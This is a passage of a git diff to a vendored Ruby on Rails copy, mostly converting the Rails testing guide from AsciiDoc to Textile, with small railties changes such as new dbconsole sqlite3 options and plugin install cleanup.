-[source,ruby]
---------------------------------------------------
+<ruby>
 get(:view, {'id' => '12'}, nil, {'message' => 'booya!'})
---------------------------------------------------
+</ruby>
 
 NOTE: If you try running +test_should_create_post+ test from +posts_controller_test.rb+ it will fail on account of the newly added model level validation and rightly so.
 
 Let us modify +test_should_create_post+ test in +posts_controller_test.rb+ so that all our test pass:
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 def test_should_create_post
   assert_difference('Post.count') do
     post :create, :post => { :title => 'Some title'}
@@ -516,11 +484,11 @@ def test_should_create_post
 
   assert_redirected_to post_path(assigns(:post))
 end
---------------------------------------------------
+</ruby>
 
 Now you can try running all the tests and they should pass.
 
-=== Available Request Types for Functional Tests ===
+h4. Available Request Types for Functional Tests
 
 If you're familiar with the HTTP protocol, you'll know that +get+ is a type of request. There are 5 request types supported in Rails functional tests:
 
@@ -532,7 +500,7 @@ If you're familiar with the HTTP protocol, you'll know that +get+ is a type of r
 
 All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others.
 
-=== The 4 Hashes of the Apocalypse ===
+h4. The Four Hashes of the Apocalypse
 
 After a request has been made by using one of the 5 methods (+get+, +post+, etc.) and processed, you will have 4 Hash objects ready for use:
 
@@ -543,17 +511,16 @@ After a request has been made by using one of the 5 methods (+get+, +post+, etc.
 
 As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for +assigns+. For example:
 
-[source,ruby]
---------------------------------------------------
+<ruby>
   flash["gordon"]               flash[:gordon]
   session["shmession"]          session[:shmession]
   cookies["are_good_for_u"]     cookies[:are_good_for_u]
 
 # Because you can't use assigns[:something] for historical reasons:
   assigns["something"]          assigns(:something)
---------------------------------------------------
+</ruby>
 
-=== Instance Variables Available ===
+h4. Instance Variables Available
 
 You also have access to three instance variables in your functional tests:
 
@@ -561,12 +528,11 @@ You also have access to three instance variables in your functional tests:
 * +@request+ - The request
 * +@response+ - The response
 
-=== A Fuller Functional Test Example
+h4. A Fuller Functional Test Example
 
 Here's another example that uses +flash+, +assert_redirected_to+, and +assert_difference+:
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 def test_should_create_post
   assert_difference('Post.count') do
     post :create, :post => { :title => 'Hi', :body => 'This is my first post.'}
@@ -574,9 +540,9 @@ def test_should_create_post
   assert_redirected_to post_path(assigns(:post))
   assert_equal 'Post was successfully created.', flash[:notice]
 end
---------------------------------------------------
+</ruby>
 
-=== Testing Views ===
+h4. Testing Views
 
 Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The +assert_select+ assertion allows you to do this by using a simple yet powerful syntax.
 
@@ -584,68 +550,73 @@ NOTE: You may find references to +assert_tag+ in other documentation, but this i
 
 There are two forms of +assert_select+:
 
-+assert_select(selector, [equality], [message])`+ ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an +HTML::Selector+ object.
++assert_select(selector, [equality], [message])+ ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an +HTML::Selector+ object.
 
 +assert_select(element, selector, [equality], [message])+ ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of +HTML::Node+) and its descendants.
 
 For example, you could verify the contents on the title element in your response with:
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 assert_select 'title', "Welcome to Rails Testing Guide"
---------------------------------------------------
+</ruby>
 
-You can also use nested +assert_select+ blocks. In this case the inner +assert_select+ will run the assertion on each element selected by the outer `assert_select` block:
+You can also use nested +assert_select+ blocks. In this case the inner +assert_select+ runs the assertion on the complete collection of elements selected by the outer +assert_select+ block:
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 assert_select 'ul.navigation' do
   assert_select 'li.menu_item'
 end
---------------------------------------------------
+</ruby>
 
-The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its link:http://api.rubyonrails.com/classes/ActionController/Assertions/SelectorAssertions.html#M000749[documentation].
+Alternatively the collection of elements selected by the outer +assert_select+ may be iterated through so that +assert_select+ may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass.
 
-==== Additional View-based Assertions ====
+<ruby>
+assert_select "ol" do |elements|
+  elements.each do |element|
+    assert_select element, "li", 4
+  end
+end
+
+assert_select "ol" do
+  assert_select "li", 8
+end
+</ruby>
+
+The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its "documentation":http://api.rubyonrails.org/classes/ActionController/Assertions/SelectorAssertions.html.
+
+h5. Additional View-Based Assertions
 
 There are more assertions that are primarily used in testing views:
 
-[grid="all"]
-`----------------------------------------------------------------------------------`-------------------------------------------------------
-Assertion                                                                          Purpose
-------------------------------------------------------------------------------------------------------------------------------------------
-+assert_select_email+                                                              Allows you to make assertions on the body of an e-mail. 
-+assert_select_rjs+                                                                Allows you to make assertions on RJS response. +assert_select_rjs+ has variants which allow you to narrow down on the updated element or even a particular operation on an element.
-+assert_select_encoded+                                                            Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.
-+css_select(selector)+  or +css_select(element, selector)+                         Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.
-------------------------------------------------------------------------------------------------------------------------------------------
+|_.Assertion                                                                        |_.Purpose|
+|+assert_select_email+                                                              |Allows you to make assertions on the body of an e-mail. |
+|+assert_select_rjs+                                                                |Allows you to make assertions on RJS response. +assert_select_rjs+ has variants which allow you to narrow down on the updated element or even a particular operation on an element.|
+|+assert_select_encoded+                                                            |Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.|
+|+css_select(selector)+  or +css_select(element, selector)+                         |Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.|
 
 Here's an example of using +assert_select_email+:
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 assert_select_email do
   assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.'
 end
---------------------------------------------------
+</ruby>
 
-== Integration Testing ==
+h3. Integration Testing
 
-Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application. 
+Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.
 
-Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you. 
+Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you.
 
-[source, shell]
---------------------------------------------------
-$ script/generate integration_test user_flows 
+<shell>
+$ script/generate integration_test user_flows
       exists  test/integration/
       create  test/integration/user_flows_test.rb
---------------------------------------------------
+</shell>
 
 Here's what a freshly-generated integration test looks like:
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 require 'test_helper'
 
 class UserFlowsTest < ActionController::IntegrationTest
@@ -656,37 +627,32 @@ class UserFlowsTest < ActionController::IntegrationTest
     assert true
   end
 end
---------------------------------------------------
+</ruby>
 
-Integration tests inherit from +ActionController::IntegrationTest+. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test. 
+Integration tests inherit from +ActionController::IntegrationTest+. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.
 
-=== Helpers Available for Integration tests ===
+h4. Helpers Available for Integration Tests
 
 In addition to the standard testing helpers, there are some additional helpers available to integration tests:
 
-[grid="all"]
-`----------------------------------------------------------------------------------`-------------------------------------------------------
-Helper                                                                             Purpose
-------------------------------------------------------------------------------------------------------------------------------------------
-+https?+                                                                           Returns +true+ if the session is mimicking a secure HTTPS request.
-+https!+                                                                           Allows you to mimic a secure HTTPS request.
-+host!+                                                                            Allows you to set the host name to use in the next request.
-+redirect?+                                                                        Returns +true+ if the last request was a redirect.
-+follow_redirect!+                                                                 Follows a single redirect response.
-+request_via_redirect(http_method, path, [parameters], [headers])+                 Allows you to make an HTTP request and follow any subsequent redirects.
-+post_via_redirect(path, [parameters], [headers])+                                 Allows you to make an HTTP POST request and follow any subsequent redirects.
-+get_via_redirect(path, [parameters], [headers])+                                  Allows you to make an HTTP GET request and follow any subsequent redirects.
-+put_via_redirect(path, [parameters], [headers])+                                  Allows you to make an HTTP PUT request and follow any subsequent redirects.
-+delete_via_redirect(path, [parameters], [headers])+                               Allows you to make an HTTP DELETE request and follow any subsequent redirects.
-+open_session+                                                                     Opens a new session instance.
-------------------------------------------------------------------------------------------------------------------------------------------
+|_.Helper                                                                           |_.Purpose|
+|+https?+                                                                           |Returns +true+ if the session is mimicking a secure HTTPS request.|
+|+https!+                                                                           |Allows you to mimic a secure HTTPS request.|
+|+host!+                                                                            |Allows you to set the host name to use in the next request.|
+|+redirect?+                                                                        |Returns +true+ if the last request was a redirect.|
+|+follow_redirect!+                                                                 |Follows a single redirect response.|
+|+request_via_redirect(http_method, path, [parameters], [headers])+                 |Allows you to make an HTTP request and follow any subsequent redirects.|
+|+post_via_redirect(path, [parameters], [headers])+                                 |Allows you to make an HTTP POST request and follow any subsequent redirects.|
+|+get_via_redirect(path, [parameters], [headers])+                                  |Allows you to make an HTTP GET request and follow any subsequent redirects.|
+|+put_via_redirect(path, [parameters], [headers])+                                  |Allows you to make an HTTP PUT request and follow any subsequent redirects.|
+|+delete_via_redirect(path, [parameters], [headers])+                               |Allows you to make an HTTP DELETE request and follow any subsequent redirects.|
+|+open_session+                                                                     |Opens a new session instance.|
 
-=== Integration Testing Examples === 
+h4. Integration Testing Examples
 
 A simple integration test that exercises multiple controllers:
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 require 'test_helper'
 
 class UserFlowsTest < ActionController::IntegrationTest
@@ -697,51 +663,50 @@ class UserFlowsTest < ActionController::IntegrationTest
     https!
     get "/login"
     assert_response :success
-    
+
     post_via_redirect "/login", :username => users(:avs).username, :password => users(:avs).password
     assert_equal '/welcome', path
     assert_equal 'Welcome avs!', flash[:notice]
-    
+
     https!(false)
     get "/posts/all"
     assert_response :success
     assert assigns(:products)
   end
 end
---------------------------------------------------
+</ruby>
 
 As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.
 
 Here's an example of multiple sessions and custom DSL in an integration test
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 require 'test_helper'
 
 class UserFlowsTest < ActionController::IntegrationTest
   fixtures :users
 
   def test_login_and_browse_site
-    
+
     # User avs logs in
     avs = login(:avs)
     # User guest logs in
     guest = login(:guest)
-    
+
     # Both are now available in different sessions
     assert_equal 'Welcome avs!', avs.flash[:notice]
     assert_equal 'Welcome guest!', guest.flash[:notice]
-    
+
     # User avs can browse site
     avs.browses_site
     # User guest can browse site aswell
     guest.browses_site
-    
+
     # Continue with other assertions
   end
-  
+
   private
-  
+
     module CustomDsl
       def browses_site
         get "/products/all"
@@ -749,7 +714,7 @@ class UserFlowsTest < ActionController::IntegrationTest
         assert assigns(:products)
       end
     end
-    
+
     def login(user)
       open_session do |sess|
         sess.extend(CustomDsl)
@@ -761,38 +726,32 @@ class UserFlowsTest < ActionController::IntegrationTest
       end
     end
 end
---------------------------------------------------
+</ruby>
 
-== Rake Tasks for Running your Tests ==
+h3. Rake Tasks for Running your Tests
 
 You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rail project.
 
-[grid="all"]
---------------------------------`----------------------------------------------------
-Tasks                           Description
-------------------------------------------------------------------------------------
-+rake test+                     Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default.
-+rake test:units+               Runs all the unit tests from +test/unit+
-+rake test:functionals+         Runs all the functional tests from +test/functional+
-+rake test:integration+         Runs all the integration tests from +test/integration+
-+rake test:recent+              Tests recent changes
-+rake test:uncommitted+         Runs all the tests which are uncommitted. Only supports Subversion
-+rake test:plugins+             Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+)
-------------------------------------------------------------------------------------
+|_.Tasks                         |_.Description|
+|+rake test+                     |Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default.|
+|+rake test:units+               |Runs all the unit tests from +test/unit+|
+|+rake test:functionals+         |Runs all the functional tests from +test/functional+|
+|+rake test:integration+         |Runs all the integration tests from +test/integration+|
+|+rake test:recent+              |Tests recent changes|
+|+rake test:uncommitted+         |Runs all the tests which are uncommitted. Only supports Subversion|
+|+rake test:plugins+             |Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+)|
 
-
-== Brief Note About Test::Unit ==
+h3. Brief Note About +Test::Unit+
 
 Ruby ships with a boat load of libraries. One little gem of a library is +Test::Unit+, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in +Test::Unit::Assertions+. The class +ActiveSupport::TestCase+ which we have been using in our unit and functional tests extends +Test::Unit::TestCase+ that it is how we can use all the basic assertions in our tests.
 
-NOTE: For more information on +Test::Unit+, refer to link:http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/[test/unit Documentation]
+NOTE: For more information on +Test::Unit+, refer to "test/unit Documentation":http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/
 
-== Setup and Teardown ==
+h3. Setup and Teardown
 
 If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in +Posts+ controller:
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 require 'test_helper'
 
 class PostsControllerTest < ActionController::TestCase
@@ -805,7 +764,7 @@ class PostsControllerTest < ActionController::TestCase
   # called after every single test
   def teardown
     # as we are re-initializing @post before every test
-    # setting it to nil here is not essential but I hope 
+    # setting it to nil here is not essential but I hope
     # you understand how you can use the teardown method
     @post = nil
   end
@@ -822,21 +781,20 @@ class PostsControllerTest < ActionController::TestCase
 
     assert_redirected_to posts_path
   end
-  
+
 end
---------------------------------------------------
+</ruby>
 
 Above, the +setup+ method is called before each test and so +@post+ is available for each of the tests. Rails implements +setup+ and +teardown+ as ActiveSupport::Callbacks. Which essentially means you need not only use +setup+ and +teardown+ as methods in your tests. You could specify them by using:
 
- * a block
- * a method (like in the earlier example)
- * a method name as a symbol
- * a lambda
- 
+* a block
+* a method (like in the earlier example)
+* a method name as a symbol
+* a lambda
+
 Let's see the earlier example by specifying +setup+ callback by specifying a method name as a symbol:
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 require '../test_helper'
 
 class PostsControllerTest < ActionController::TestCase
@@ -853,7 +811,7 @@ class PostsControllerTest < ActionController::TestCase
     get :show, :id => @post.id
     assert_response :success
   end
-  
+
   def test_should_update_post
     put :update, :id => @post.id, :post => { }
     assert_redirected_to post_path(assigns(:post))
@@ -866,32 +824,31 @@ class PostsControllerTest < ActionController::TestCase
 
     assert_redirected_to posts_path
   end
-  
-  private 
-  
+
+  private
+
   def initialize_post
     @post = posts(:one)
   end
-  
-end
---------------------------------------------------
 
-== Testing Routes ==
+end
+</ruby>
+
+h3. Testing Routes
 
 Like everything else in you Rails application, it's recommended to test you routes. An example test for a route in the default +show+ action of +Posts+ controller above should look like:
 
-[source,ruby]
---------------------------------------------------
+<ruby>
 def test_should_route_to_post
   assert_routing '/posts/1', { :controller => "posts", :action => "show", :id => "1" }
 end
---------------------------------------------------
+</ruby>
 
-== Testing Your Mailers ==
+h3. Testing Your Mailers
 
 Testing mailer classes requires some specific tools to do a thorough job.
 
-=== Keeping the Postman in Check ===
+h4. Keeping the Postman in Check
 
 Your +ActionMailer+ classes -- like every other part of your Rails application -- should be tested to ensure that it is working as expected.
 
@@ -901,26 +858,25 @@ The goals of testing your +ActionMailer+ classes are to ensure that:
 * the email content is correct (subject, sender, body, etc)
 * the right emails are being sent at the right times
 
-==== From All Sides ====
+h5. From All Sides
 
 There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a knownvalue (a fixture -- yay! more fixtures!). In the functional tests you don't so much test the minute details produced by the mailer Instead we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.
 
-=== Unit Testing ===
+h4. Unit Testing
 
 In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.
 
-==== Revenge of the Fixtures ====
+h5. Revenge of the Fixtures
 
 For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within +test/fixtures+ directly corresponds to the name of the mailer. So, for a mailer named +UserMailer+, the fixtures should reside in +test/fixtures/user_mailer+ directory.
 
-When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself. 
+When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself.
 
-==== The Basic Test case ====
+h5. The Basic Test Case
 
 Here's a unit test to test a mailer named +UserMailer+ whose action +invite+ is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an +invite+ action.
 
-[source, ruby]
--------------------------------------------------
+<ruby>
 require 'test_helper'
 
 class UserMailerTest < ActionMailer::TestCase
@@ -936,30 +892,29 @@ class UserMailerTest < ActionMailer::TestCase
   end
 
 end
--------------------------------------------------
+</ruby>
 
 In this test, +@expected+ is an instance of +TMail::Mail+ that you can use in your tests. It is defined in +ActionMailer::TestCase+. The test above uses +@expected+ to construct an email, which it then asserts with email created by the custom mailer. The +invite+ fixture is the body of the email and is used as the sample content to assert against. The helper +read_fixture+ is used to read in the content from this file.
 
 Here's the content of the +invite+ fixture:
 
--------------------------------------------------
+<pre>
 Hi friend@example.com,
 
-You have been invited. 
+You have been invited.
 
 Cheers!
--------------------------------------------------
+</pre>
 
 This is the right time to understand a little more about writing tests for your mailers. The line +ActionMailer::Base.delivery_method = :test+ in +config/environments/test.rb+ sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (+ActionMailer::Base.deliveries+).
 
 However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.
 
-=== Functional Testing ===
+h4. Functional Testing
 
 Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job You are probably more interested in is whether your own business logic is sending emails when you expect them to got out. For example, you can check that the invite friend operation is sending an email appropriately:
 
-[source, ruby]
-----------------------------------------------------------------
+<ruby>
 require 'test_helper'
 
 class UserControllerTest < ActionController::TestCase
@@ -968,28 +923,29 @@ class UserControllerTest < ActionController::TestCase
       post :invite_friend, :email => 'friend@example.com'
     end
     invite_email = ActionMailer::Base.deliveries.first
-    
+
     assert_equal invite_email.subject, "You have been invited by me@example.com"
     assert_equal invite_email.to[0], 'friend@example.com'
     assert_match /Hi friend@example.com/, invite_email.body
   end
 end
-----------------------------------------------------------------
+</ruby>
 
-== Other Testing Approaches
+h3. Other Testing Approaches
 
 The built-in +test/unit+ based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:
 
-* link:http://avdi.org/projects/nulldb/[NullDB], a way to speed up testing by avoiding database use.
-* link:http://github.com/thoughtbot/factory_girl/tree/master[Factory Girl], as replacement for fixtures.
-* link:http://www.thoughtbot.com/projects/shoulda[Shoulda], an extension to +test/unit+ with additional helpers, macros, and assertions.
-* link: http://rspec.info/[RSpec], a behavior-driven development framework
+* "NullDB":http://avdi.org/projects/nulldb/, a way to speed up testing by avoiding database use.
+* "Factory Girl":http://github.com/thoughtbot/factory_girl/tree/master, as replacement for fixtures.
+* "Machinist":http://github.com/notahat/machinist/tree/master, another replacement for fixtures.
+* "Shoulda":http://www.thoughtbot.com/projects/shoulda, an extension to +test/unit+ with additional helpers, macros, and assertions.
+* "RSpec":http://rspec.info/, a behavior-driven development framework
 
-== Changelog ==
+h3. Changelog
 
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/8[Lighthouse ticket]
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/8
 
-* November 13, 2008: Revised based on feedback from Pratik Naik by link:../authors.html#asurve[Akshay Surve] (not yet approved for publication)
-* October 14, 2008: Edit and formatting pass by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
-* October 12, 2008: First draft by link:../authors.html#asurve[Akshay Surve] (not yet approved for publication)
+* November 13, 2008: Revised based on feedback from Pratik Naik by "Akshay Surve":credits.html#asurve (not yet approved for publication)
+* October 14, 2008: Edit and formatting pass by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
+* October 12, 2008: First draft by "Akshay Surve":credits.html#asurve (not yet approved for publication)
 
diff --git a/vendor/rails/railties/helpers/application.rb b/vendor/rails/railties/helpers/application.rb
deleted file mode 100644
index 0a3ed822..00000000
--- a/vendor/rails/railties/helpers/application.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# Filters added to this controller apply to all controllers in the application.
-# Likewise, all the methods added will be available for all controllers.
-
-class ApplicationController < ActionController::Base
-  helper :all # include all helpers, all the time
-
-  # See ActionController::RequestForgeryProtection for details
-  # Uncomment the :secret if you're not using the cookie session store
-  protect_from_forgery # :secret => '<%= app_secret %>'
-  
-  # See ActionController::Base for details 
-  # Uncomment this to filter the contents of submitted sensitive data parameters
-  # from your application log (in this case, all fields with names like "password"). 
-  # filter_parameter_logging :password
-end
diff --git a/vendor/rails/railties/helpers/application_controller.rb b/vendor/rails/railties/helpers/application_controller.rb
new file mode 100644
index 00000000..6635a3f4
--- /dev/null
+++ b/vendor/rails/railties/helpers/application_controller.rb
@@ -0,0 +1,10 @@
+# Filters added to this controller apply to all controllers in the application.
+# Likewise, all the methods added will be available for all controllers.
+
+class ApplicationController < ActionController::Base
+  helper :all # include all helpers, all the time
+  protect_from_forgery # See ActionController::RequestForgeryProtection for details
+
+  # Scrub sensitive parameters from your log
+  # filter_parameter_logging :password
+end
diff --git a/vendor/rails/railties/helpers/test_helper.rb b/vendor/rails/railties/helpers/test_helper.rb
index 9f192695..b9fe2517 100644
--- a/vendor/rails/railties/helpers/test_helper.rb
+++ b/vendor/rails/railties/helpers/test_helper.rb
@@ -2,7 +2,7 @@ ENV["RAILS_ENV"] = "test"
 require File.expand_path(File.dirname(__FILE__) + "/../config/environment")
 require 'test_help'
 
-class Test::Unit::TestCase
+class ActiveSupport::TestCase
   # Transactional fixtures accelerate your tests by wrapping each test method
   # in a transaction that's rolled back on completion.  This ensures that the
   # test database remains unchanged so your fixtures don't have to be reloaded
diff --git a/vendor/rails/railties/html/500.html b/vendor/rails/railties/html/500.html
index 74142cb0..ec3bbf02 100644
--- a/vendor/rails/railties/html/500.html
+++ b/vendor/rails/railties/html/500.html
@@ -25,9 +25,6 @@
   <div class="dialog">
     <h1>We're sorry, but something went wrong.</h1>
     <p>We've been notified about this issue and we'll take a look at it shortly.</p>
-    <p><small>(If you're the administrator of this website, then please read
-    the log file "<%= "<%s>" % "%=h RAILS_ENV %" %>.log"
-    to find out what went wrong.)</small></p>
   </div>
 </body>
 </html>
diff --git a/vendor/rails/railties/html/index.html b/vendor/rails/railties/html/index.html
index e84c3593..0dd5189f 100644
--- a/vendor/rails/railties/html/index.html
+++ b/vendor/rails/railties/html/index.html
@@ -229,6 +229,7 @@
               <li><a href="http://api.rubyonrails.org/">Rails API</a></li>
               <li><a href="http://stdlib.rubyonrails.org/">Ruby standard library</a></li>
               <li><a href="http://corelib.rubyonrails.org/">Ruby core</a></li>
+              <li><a href="http://guides.rubyonrails.org/">Rails Guides</a></li>
             </ul>
           </li>
         </ul>
diff --git a/vendor/rails/railties/lib/commands/about.rb b/vendor/rails/railties/lib/commands/about.rb
index 7f53ac8a..bc2cfcb9 100644
--- a/vendor/rails/railties/lib/commands/about.rb
+++ b/vendor/rails/railties/lib/commands/about.rb
@@ -1,3 +1,3 @@
-require 'environment'
+require "#{RAILS_ROOT}/config/environment"
 require 'rails/info'
 puts Rails::Info
diff --git a/vendor/rails/railties/lib/commands/dbconsole.rb b/vendor/rails/railties/lib/commands/dbconsole.rb
index 6ff895aa..e6f11a45 100644
--- a/vendor/rails/railties/lib/commands/dbconsole.rb
+++ b/vendor/rails/railties/lib/commands/dbconsole.rb
@@ -3,12 +3,23 @@ require 'yaml'
 require 'optparse'
 
 include_password = false
+options = {}
 
 OptionParser.new do |opt|
   opt.banner = "Usage: dbconsole [options] [environment]"
   opt.on("-p", "--include-password", "Automatically provide the password from database.yml") do |v|
     include_password = true
   end
+
+  opt.on("--mode [MODE]", ['html', 'list', 'line', 'column'],
+    "Automatically put the sqlite3 database in the specified mode (html, list, line, column).") do |mode|
+      options['mode'] = mode
+  end
+
+  opt.on("-h", "--header") do |h|
+    options['header'] = h
+  end
+
   opt.parse!(ARGV)
   abort opt.to_s unless (0..1).include?(ARGV.size)
 end
@@ -22,11 +33,15 @@ end
 def find_cmd(*commands)
   dirs_on_path = ENV['PATH'].to_s.split(File::PATH_SEPARATOR)
   commands += commands.map{|cmd| "#{cmd}.exe"} if RUBY_PLATFORM =~ /win32/
-  commands.detect do |cmd|
-    dirs_on_path.detect do |path|
-      File.executable? File.join(path, cmd)
+
+  full_path_command = nil
+  found = commands.detect do |cmd|
+    dir = dirs_on_path.detect do |path|
+      full_path_command = File.join(path, cmd)
+      File.executable? full_path_command
     end
-  end || abort("Couldn't find database client: #{commands.join(', ')}. Check your $PATH and try again.")
+  end
+  found ? full_path_command : abort("Couldn't find database client: #{commands.join(', ')}. Check your $PATH and try again.")
 end
 
 case config["adapter"]
@@ -41,7 +56,7 @@ when "mysql"
 
   if config['password'] && include_password
     args << "--password=#{config['password']}"
-  elsif config['password'] && !config['password'].empty?
+  elsif config['password'] && !config['password'].to_s.empty?
     args << "-p"
   end
 
@@ -60,8 +75,13 @@ when "sqlite"
   exec(find_cmd('sqlite'), config["database"])
 
 when "sqlite3"
-  exec(find_cmd('sqlite3'), config["database"])
+  args = []
 
+  args << "-#{options['mode']}" if options['mode']
+  args << "-header" if options['header']
+  args << config['database']
+
+  exec(find_cmd('sqlite3'), *args)
 else
   abort "Unknown command-line client for #{config['database']}. Submit a Rails patch to add support!"
 end
diff --git a/vendor/rails/railties/lib/commands/performance/profiler.rb b/vendor/rails/railties/lib/commands/performance/profiler.rb
index fd111bae..7df840f1 100644
--- a/vendor/rails/railties/lib/commands/performance/profiler.rb
+++ b/vendor/rails/railties/lib/commands/performance/profiler.rb
@@ -29,7 +29,7 @@ begin
       printer_class = RubyProf::FlatPrinter
     end
     printer = printer_class.new(results)
-    printer.print($stderr, 0)
+    printer.print($stderr)
   rescue LoadError
     require "prof"
     $stderr.puts 'Using the old ruby-prof extension.'
diff --git a/vendor/rails/railties/lib/commands/performance/request.rb b/vendor/rails/railties/lib/commands/performance/request.rb
deleted file mode 100755
index 17738864..00000000
--- a/vendor/rails/railties/lib/commands/performance/request.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-#!/usr/bin/env ruby
-require 'config/environment'
-require 'application'
-require 'action_controller/request_profiler'
-
-ActionController::RequestProfiler.run(ARGV)
diff --git a/vendor/rails/railties/lib/commands/plugin.rb b/vendor/rails/railties/lib/commands/plugin.rb
index 9ff47395..9f99a8d5 100644
--- a/vendor/rails/railties/lib/commands/plugin.rb
+++ b/vendor/rails/railties/lib/commands/plugin.rb
@@ -134,7 +134,8 @@ class RailsEnvironment
   def externals
     return [] unless use_externals?
     ext = `svn propget svn:externals "#{root}/vendor/plugins"`
-    ext.reject{ |line| line.strip == '' }.map do |line| 
+    lines = ext.respond_to?(:lines) ? ext.lines : ext
+    lines.reject{ |line| line.strip == '' }.map do |line|
       line.strip.split(/\s+/, 2) 
     end
   end
@@ -267,7 +268,7 @@ class Plugin
     
     def install_using_git(options = {})
       root = rails_env.root
-      install_path = mkdir_p "#{root}/vendor/plugins/#{name}"
+      mkdir_p(install_path = "#{root}/vendor/plugins/#{name}")
       Dir.chdir install_path do
         init_cmd = "git init"
         init_cmd += " -q" if options[:quiet] and not $verbose
@@ -278,8 +279,8 @@ class Plugin
         base_cmd += " #{options[:revision]}" if options[:revision]
         puts base_cmd if $verbose
         if system(base_cmd)
-          puts "removing: .git" if $verbose
-          rm_rf ".git"
+          puts "removing: .git .gitignore" if $verbose
+          rm_rf %w(.git .gitignore)
         else
           rm_rf install_path
         end
diff --git a/vendor/rails/railties/lib/commands/process/inspector.rb b/vendor/rails/railties/lib/commands/process/inspector.rb
deleted file mode 100644
index 8a6437e7..00000000
--- a/vendor/rails/railties/lib/commands/process/inspector.rb
+++ /dev/null
@@ -1,68 +0,0 @@
-require 'optparse'
-
-if RUBY_PLATFORM =~ /(:?mswin|mingw)/ then abort("Inspector is only for Unix") end
-
-OPTIONS = {
-  :pid_path => File.expand_path(RAILS_ROOT + '/tmp/pids'),
-  :pattern  => "dispatch.*.pid",
-  :ps       => "ps -o pid,state,user,start,time,pcpu,vsz,majflt,command -p %s"
-}
-
-class Inspector
-  def self.inspect(pid_path, pattern)
-    new(pid_path, pattern).inspect
-  end
-
-  def initialize(pid_path, pattern)
-    @pid_path, @pattern = pid_path, pattern
-  end
-
-  def inspect
-    header = `#{OPTIONS[:ps] % 1}`.split("\n")[0] + "\n"
-    lines  = pids.collect { |pid| `#{OPTIONS[:ps] % pid}`.split("\n")[1] }
-    
-    puts(header + lines.join("\n"))
-  end
-
-  private
-    def pids
-      pid_files.collect do |pid_file|
-        File.read(pid_file).to_i
-      end
-    end
-
-    def pid_files
-      Dir.glob(@pid_path + "/" + @pattern)
-    end
